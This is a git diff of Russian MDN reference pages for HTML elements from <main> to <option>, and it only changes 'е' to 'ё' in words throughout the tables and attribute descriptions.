a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html index e3b64bf33d..52754d8c16 100644 --- a/files/ru/web/html/element/main/index.html +++ b/files/ru/web/html/element/main/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTML/Element/main --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><main></code></strong> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или ее развивает.</span></p> +<p><span class="seoSummary"><strong>HTML-элемент <code><main></code></strong> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или её развивает.</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}</div> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/main <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/main <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td>Те, в которых разрешается <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого, но только если это <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element" id="the-main-element:hierarchically-correct-main-element">иерархически корректный <code>main</code> элемент</a>.</td> </tr> <tr> - <th>Разрешенные ARIA роли</th> + <th>Разрешённые ARIA роли</th> <td>Роль <code>main</code> применяется к <code><main></code> по умолчанию, и роль <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></code> также разрешена.</td> </tr> <tr> @@ -70,14 +70,14 @@ translation_of: Web/HTML/Element/main <article> <h2>Сорт "Ред Делишес"</h2> - <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединенных Штатах.</p> + <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединённых Штатах.</p> <p>... </p> <p>... </p> </article> <article> <h2>Сорт "Гренни Смит";/h2> - <p>Эти сочные, зеленые яблоки являются одними из самых популярных в мире.</p> + <p>Эти сочные, зелёные яблоки являются одними из самых популярных в мире.</p> <p>... </p> <p>... </p> </article> @@ -93,7 +93,7 @@ translation_of: Web/HTML/Element/main <h3 id="Ориентир">Ориентир</h3> -<p>Элемент <code><main></code> ведет себя как <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">роль-ориентир <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">Ориентиры</a> могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <code><main></code> вместо объявления <code>role="main"</code>, если не нужна <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">поддержка старых браузеров</a>.</p> +<p>Элемент <code><main></code> ведёт себя как <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">роль-ориентир <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">Ориентиры</a> могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <code><main></code> вместо объявления <code>role="main"</code>, если не нужна <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">поддержка старых браузеров</a>.</p> <h3 id="Пропуск_навигации">Пропуск навигации</h3> diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html index 751a526d64..502f0414ba 100644 --- a/files/ru/web/html/element/map/index.html +++ b/files/ru/web/html/element/map/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/map <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td>Любой <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9F%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%B0">прозрачный</a> элемент.</td> </tr> <tr> @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/map <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любые элементы, которые принимают <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/map <dl> <dt>{{htmlattrdef("name")}}</dt> - <dd>Атрибут name дает карте имя, чтобы на нее можно было ссылаться. Атрибут должен быть определен и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.</dd> + <dd>Атрибут name даёт карте имя, чтобы на неё можно было ссылаться. Атрибут должен быть определён и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html index 4673a4eec8..e281d28bb6 100644 --- a/files/ru/web/html/element/mark/index.html +++ b/files/ru/web/html/element/mark/index.html @@ -3,7 +3,7 @@ title: <mark> slug: Web/HTML/Element/mark translation_of: Web/HTML/Element/mark --- -<p><strong>HTML</strong> <strong>элемент <code><mark></code> </strong>представляет текст, выделенный в справочных целях из-за своей <em>актуальности </em>в определенном контексте. <span id="result_box" lang="ru"><span>Например, он может</span> <span>быть использован на странице с результатом поиска, в которой выделяется</span><span> </span><span>каждый</span> <span>экземпляр</span> <span>искомого</span> <span>слова</span><span>.</span></span></p> +<p><strong>HTML</strong> <strong>элемент <code><mark></code> </strong>представляет текст, выделенный в справочных целях из-за своей <em>актуальности </em>в определённом контексте. <span id="result_box" lang="ru"><span>Например, он может</span> <span>быть использован на странице с результатом поиска, в которой выделяется</span><span> </span><span>каждый</span> <span>экземпляр</span> <span>искомого</span> <span>слова</span><span>.</span></span></p> <table class="properties"> <tbody> @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/mark <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Содержимое потока</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>, ощутимое содержимое.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Содержимое фраз</a>.</td> </tr> <tr> @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/mark <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>родители</span></span></th> <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз.</a></td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>роли</span> <span>ARIA</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>роли</span> <span>ARIA</span></span></th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html index 8caafd13f3..3faaccd160 100644 --- a/files/ru/web/html/element/marquee/index.html +++ b/files/ru/web/html/element/marquee/index.html @@ -18,23 +18,23 @@ translation_of: Web/HTML/Element/marquee <dt>{{htmlattrdef("behavior")}}</dt> <dd>Описывает поведение прокрутки. Допустимые значения: <code>scroll</code>, <code>slide</code> <code>и alternate</code>. Если значение не указано, то используется <code>scroll</code>.</dd> <dt>{{htmlattrdef("bgcolor")}}</dt> - <dd>Задает цвет фона (можно использовать имя цвета или шестнадцатеричное значение).</dd> + <dd>Задаёт цвет фона (можно использовать имя цвета или шестнадцатеричное значение).</dd> <dt>{{htmlattrdef("direction")}}</dt> - <dd>Задает направление прокрутки. <code>Допустимые значения: left</code>, <code>right</code>, <code>up</code> и <code>down</code>. Если значение не указано, то используется <code>left</code>.</dd> + <dd>Задаёт направление прокрутки. <code>Допустимые значения: left</code>, <code>right</code>, <code>up</code> и <code>down</code>. Если значение не указано, то используется <code>left</code>.</dd> <dt>{{htmlattrdef("height")}}</dt> <dd>Задаёт высоту в пикселях или процентах.</dd> <dt>{{htmlattrdef("hspace")}}</dt> - <dd>Задает поле (margin) слева.</dd> + <dd>Задаёт поле (margin) слева.</dd> <dt>{{htmlattrdef("loop")}}</dt> <dd>Задаёт количество прокруток. Если значение не указано, то используется -1, что означает бесконечную прокрутку</dd> <dt>{{htmlattrdef("scrollamount")}}</dt> - <dd>Задает сдвиг на каждом шаге в пикселях. По умолчанию 6.</dd> + <dd>Задаёт сдвиг на каждом шаге в пикселях. По умолчанию 6.</dd> <dt>{{htmlattrdef("scrolldelay")}}</dt> - <dd>Задает интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут <code>truespeed</code>.</dd> + <dd>Задаёт интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут <code>truespeed</code>.</dd> <dt>{{htmlattrdef("truespeed")}}</dt> <dd>По умолчанию значения меньше 60 в<code> scrolldelay игнорируются</code>. Однако, если присутствует <code>truespeed</code>, то они не игнорируются</dd> <dt>{{htmlattrdef("vspace")}}</dt> - <dd>Задает вертикальный отступ (margin) в пикселях или процентах.</dd> + <dd>Задаёт вертикальный отступ (margin) в пикселях или процентах.</dd> <dt>{{htmlattrdef("width")}}</dt> <dd>Задаёт ширину в пикселях или процентах.</dd> </dl> diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html index 1651378eda..7d0b236c41 100644 --- a/files/ru/web/html/element/menu/index.html +++ b/files/ru/web/html/element/menu/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/menu </td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td> <p>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</p> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/menu <td>{{No_Tag_Omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который поддерживает <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">основной поток</a>.</td> </tr> <tr> @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/menu <td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">list</a></code></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role">listbox</a></code>, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} или {{ARIARole("tree")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html index 4ce26b0214..86f9522953 100644 --- a/files/ru/web/html/element/meta/index.html +++ b/files/ru/web/html/element/meta/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/meta <td>Мета данные. Если задан {{htmlattrxref("itemprop")}} атрибут: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td>Отсутствует - это {{Glossary("empty element","пустой элемент")}}.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/meta <td>Так как это пустой элемент, то открывающий тег должен присутствовать, а закрывающий - отсутствовать.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td><code><meta charset></code>, <code><meta http-equiv></code>: {{HTMLElement("head")}} элемент. Если {{htmlattrxref("http-equiv", "meta")}} это не заявленная декларация, то может быть внутри элемента {{HTMLElement("noscript")}} или {{HTMLElement("head")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют</td> </tr> <tr> @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/meta <dl> <dt>{{htmlattrdef("charset")}}</dt> - <dd>Этот атрибут задает кодировку символов, используемую на странице. Он должен содержать <a class="external" href="https://www.iana.org/assignments/character-sets">стандартное имя IANA MIME для кодировки символов</a>. Хотя стандарт не требует определенной кодировки, он рекомендует: + <dd>Этот атрибут задаёт кодировку символов, используемую на странице. Он должен содержать <a class="external" href="https://www.iana.org/assignments/character-sets">стандартное имя IANA MIME для кодировки символов</a>. Хотя стандарт не требует определённой кодировки, он рекомендует: <ul> <li>Авторам рекомендуется использовать <code>{{glossary("UTF-8")}}</code>.</li> <li>Не следует использовать ASCII-несовместимые кодировки, чтобы избежать угроз безопасности: браузеры, не поддерживающие их, могут интерпретировать вредоносный контент как HTML. Это относится к семейству кодировок <code>JIS_C6226-1983</code>, <code>JIS_X0212-1990</code>, <code>HZ-GB-2312</code>, <code>JOHAB</code> и <code>EBCDIC</code>.</li> @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/meta <li>Этот <code><meta></code> элемент - часть алгоритма, определяющего набор символов (<a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm" title="Algorithm charset page">algorithm to determine the character set</a>) страницы, который браузер поддерживает. Заголовок {{HTTPHeader("Content-Type")}} и любые {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элементы переопределяют данный элемент.</li> <li>Настоятельно рекомендуется определить кодировку символов. Если для страницы не определён набор символов, то некоторые cross-scripting технологии могут повредить страницу, например такие как <a class="external" href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7">UTF-7 fallback cross-scripting technique</a>. Постоянная установка этого элемента будет защищать Вас от этого риска.</li> <li>Этот {{HTMLElement("meta")}} элемент это синоним для pre-HTML5 <code><meta http-equiv="Content-Type" content="text/html; charset=<em>IANAcharset</em>"> </code>где <em><code>IANAcharset</code> </em>соответствует значению эквивалентного {{htmlattrxref("charset", "meta")}} атрибута.<br> - Этот синтаксис по-прежнему разрешен, хотя и устарел и больше не рекомендуется.</li> + Этот синтаксис по-прежнему разрешён, хотя и устарел и больше не рекомендуется.</li> </ul> </div> </dd> @@ -129,8 +129,8 @@ translation_of: Web/HTML/Element/meta <li><code>автор</code> определяет в свободном формате имя автора документа;</li> <li>описание, содержащее краткое и точное резюме содержания страницы. В некоторых браузерах, среди которых Firefox и Opera, этот мета используется как описание страницы по умолчанию в закладке;</li> <li>генератор, содержащий в свободном формате идентификатор программного обеспечения, создавшего страницу;;</li> - <li>Ключевые слова, представленные строками, разделенными запятыми, связанные с содержанием страницы</li> - <li><code>referrer</code> {{experimental_inline}} контролирует содержимое HTTP. <code>Referer</code> HTTP - заголовок, прикрепленный к любому запросу, отправленному из этого документа: + <li>Ключевые слова, представленные строками, разделёнными запятыми, связанные с содержанием страницы</li> + <li><code>referrer</code> {{experimental_inline}} контролирует содержимое HTTP. <code>Referer</code> HTTP - заголовок, прикреплённый к любому запросу, отправленному из этого документа: <table class="standard-table"> <caption>Значения содержимого атрибута <meta name="referrer"></caption> <tbody> @@ -148,11 +148,11 @@ translation_of: Web/HTML/Element/meta </tr> <tr> <td><code>origin-when-crossorigin</code></td> - <td>Отправляет полный URL (удаленный из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.</td> + <td>Отправляет полный URL (удалённый из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.</td> </tr> <tr> <td><code>unsafe-URL</code></td> - <td>Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрестного происхождения.</td> + <td>Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрёстного происхождения.</td> </tr> </tbody> </table> @@ -167,10 +167,10 @@ translation_of: Web/HTML/Element/meta </li> </ul> - <p>Атрибут также может иметь значение, взятое из существующего листа определений <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имен:</p> + <p>Атрибут также может иметь значение, взятое из существующего листа определений <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имён:</p> <ul> - <li><code>creator</code>, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имен больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;</li> + <li><code>creator</code>, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имён больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;</li> <li><code>googlebot</code>, синоним <code>robots</code>, но только следует за Googlebot, сканирует индексы для Google;</li> <li><code>publisher</code>, определяет в свободном формате имя того, кто опубликовал документ. Это также может быть имя института;</li> <li><code>robots</code>, определяет поведение, поисковых роботов на странице. Список этих значений представлен ниже: @@ -242,7 +242,7 @@ translation_of: Web/HTML/Element/meta <div class="note"><strong>Замечания:</strong> <ul> - <li>Только кооперативные роботы будут следовать правилам, определенным именем роботов. </li> + <li>Только кооперативные роботы будут следовать правилам, определённым именем роботов. </li> <li>Роботу необходимо получить доступ к странице, чтобы считать мета значение. Если Вы хотите скрыть от них информацию, то используйте <em><a href="/en-US/docs/Robot_Exclusion_Protocol" title="Robot Exclusion Protocol">robots.txt</a></em> файл.</li> <li>Если вы хотите удалить страницу индекса, изменение мета в noindex будет работать, но только тогда, когда робот снова посетит страницу. Убедитесь, что файл robots.txt не предотвращает такие посещения. Некоторые поисковые системы имеют инструменты, позволяющие быстро удалить какую-либо страницу.</li> <li>Некоторые возможные значения взаимно исключают друг друга, такие как использование индекса и noindex или follow и nofollow одновременно. В этих случаях поведение робота не определено и может варьироваться от одного к другому. Поэтому избегайте этих случаев.</li> @@ -256,7 +256,7 @@ translation_of: Web/HTML/Element/meta <p>Наконец несколько общих терминов:</p> <ul> - <li><code>viewport</code>, который дает подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. + <li><code>viewport</code>, который даёт подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. <table class="fullwidth-table"> <caption>Значения для содержания <code><meta name="viewport"></code></caption> diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html index 1b7d72d8ad..8f4bb987de 100644 --- a/files/ru/web/html/element/meter/index.html +++ b/files/ru/web/html/element/meter/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/meter <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с label, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code><meter></code>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/meter <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -53,15 +53,15 @@ translation_of: Web/HTML/Element/meter <div class="note"><strong>Примечание по использованию: </strong>Если атрибут <code>value</code> не находится в диапазоне от <code>0</code> до <code>1</code> (включительно), то атрибуты <code>min</code> и <code>max</code> должны определять диапазон, в котором будет находиться значение <code>value</code>.</div> </dd> <dt>{{htmlattrdef("min")}}</dt> - <dd>Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), если указан. Если не определен, то минимальное значение равно 0.</dd> + <dd>Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), если указан. Если не определён, то минимальное значение равно 0.</dd> <dt>{{htmlattrdef("max")}}</dt> - <dd>Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), если указан. Если не определен, то максимальное значение равно 1.</dd> + <dd>Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), если указан. Если не определён, то максимальное значение равно 1.</dd> <dt>{{htmlattrdef("low")}}</dt> <dd>Верхняя числовая граница нижнего предела измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), а также, меньше, чем значение high и максимальное значение(<code>high</code> атрибут и <code>max</code> атрибут, соответственно), если они указаны. Если не указан или меньше минимального значения, то значение <code>low</code> равно минимальному значению.</dd> <dt>{{htmlattrdef("high")}}</dt> <dd>Нижняя числовая граница верхнего предела измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), а также, больше, чем значение low и минимальное значение (<code>low</code> атрибут и <strong>min</strong> атрибут, соответственно), если они указаны. Если не указан или больше максимального значения, то значение <code>high</code> равно максимальному значению.</dd> <dt>{{htmlattrdef("optimum")}}</dt> - <dd>Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определен атрибутами <code>min</code> и <code>max</code>). При использовании с атрибутами <code>low</code> и <code>high</code>, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами <code>min</code> и <code>low</code>, нижний диапазон является предпочтительным.</dd> + <dd>Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определён атрибутами <code>min</code> и <code>max</code>). При использовании с атрибутами <code>low</code> и <code>high</code>, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами <code>min</code> и <code>low</code>, нижний диапазон является предпочтительным.</dd> <dt>{{htmlattrdef("form")}}</dt> <dd>Этот атрибут связывает элемент с элементом <code>form</code>, частью которого является элемент <code>meter</code>. Например, <code>meter</code> может отображать диапазон, соответствующий элементу <code>input</code> с <code>type</code> <em>number</em>. Этот атрибут используется только в случае, если элемент <code>meter</code> используется как элемент, связанный с формой; даже в этом случае он может быть опущен, если элемент является потомком элемента <code>form</code>.</dd> </dl> diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index aaa537f30c..4cb171fe2b 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/nav <td>Потоковый контент, секционный контент, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td>Потоковый контент.</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/nav {{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенный родительский элемент</th> + <th scope="row">Разрешённый родительский элемент</th> <td>Любой элемент, содержащий потоковый контент.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-атрибуты</th> + <th scope="row">Разрешённые ARIA-атрибуты</th> <td>Нет</td> </tr> <tr> @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/nav <h2 id="Примечание">Примечание</h2> <ul> - <li>Не обязательно все ссылки должны быть обернуты в <code><nav></code>. <code><nav></code> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}} часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .</li> + <li>Не обязательно все ссылки должны быть обёрнуты в <code><nav></code>. <code><nav></code> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}} часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .</li> <li>Документ может содержать несколько {{HTMLElement("nav")}} элементов. Например, один для навигации по сайту, второй для навигации по странице.</li> <li>Пользовательские агенты, такие как устройства чтения с экрана, предназначенные для людей с плохим зрением, могут использовать этот элемент, чтобы определить следует ли пускать рендеринг содержимого навигации.</li> </ul> @@ -98,7 +98,7 @@ translation_of: Web/HTML/Element/nav <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается структурированно. Если вы желаете внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request</div> +<div class="hidden">Таблица совместимости на этой странице создаётся структурированно. Если вы желаете внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request</div> <p>{{Compat("html.elements.nav")}}</p> diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html index 2fa2097246..74db832bfc 100644 --- a/files/ru/web/html/element/noscript/index.html +++ b/files/ru/web/html/element/noscript/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/noscript <p>Rocks!</p> </pre> -<h3 id="Пример_с_включенным_JavaScript'ом">Пример с включенным JavaScript</h3> +<h3 id="Пример_с_включённым_JavaScript'ом">Пример с включённым JavaScript</h3> <p>Rocks!</p> diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html index a8a7235f5a..4568058d95 100644 --- a/files/ru/web/html/element/ol/index.html +++ b/files/ru/web/html/element/ol/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/ol <dt>{{HTMLAttrDef("reversed")}}</dt> <dd>Атрибут логического значения (bool) показывает, что предметы указаны по списку в обратном порядке. Пункты в списке будут пронумерованы от большего к меньшему.</dd> <dt>{{HTMLAttrDef("start")}}</dt> - <dd>Нумерация начнется с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация <code>type</code> в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте <code>start="4"</code>.</dd> + <dd>Нумерация начнётся с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация <code>type</code> в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте <code>start="4"</code>.</dd> <dt>{{HTMLAttrDef("type")}}</dt> <dd>Задаёт тип нумерации: <ul> diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html index 7f2bafd7ed..86efde49f4 100644 --- a/files/ru/web/html/element/option/index.html +++ b/files/ru/web/html/element/option/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Element/option <td>Нет.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Текст, допускаются <span class="short_text" id="result_box" lang="ru"><span>экранированные символы</span></span> (например <code>&eacute;</code>).</td> </tr> <tr> @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/option <td>Открывающий тег обязателен. Закрывающий тег опционален если за этим элементом следует другой элемент <code><option></code>, или элемент {{HTMLElement("optgroup")}}, или если родительский элемент не имеет больше содержимого.</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые родители</span></span></th> <td>Элемент {{HTMLElement("select")}}, элемент {{HTMLElement("optgroup")}} или элемент {{HTMLElement("datalist")}}.</td> </tr> <tr> @@ -44,14 +44,14 @@ translation_of: Web/HTML/Element/option <p>Как и все HTML элементы, этот элемент поддерживает <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные 